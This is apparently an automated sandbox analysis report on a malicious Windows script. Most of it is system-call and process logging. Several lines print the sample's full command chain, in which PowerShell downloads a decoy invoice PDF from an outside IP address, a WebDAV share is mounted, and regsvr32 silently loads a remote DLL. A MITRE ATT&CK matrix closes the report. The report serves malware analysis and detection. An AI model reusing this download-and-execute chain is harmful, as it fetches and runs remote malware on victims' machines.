Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3140.js.csv");ITextStream.WriteLine(" entry:7763 f:svjqecf");ITextStream.WriteLine(" exec:2 f:svjqecf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4131			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5722			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep count: 4131 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep count: 5722 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3704	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1636	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 804	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6680	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2640614005.000001CCE36BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2645455914.000001CCE3660000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3886105321.000001BA5542B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3887721783.000001BA5AA54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
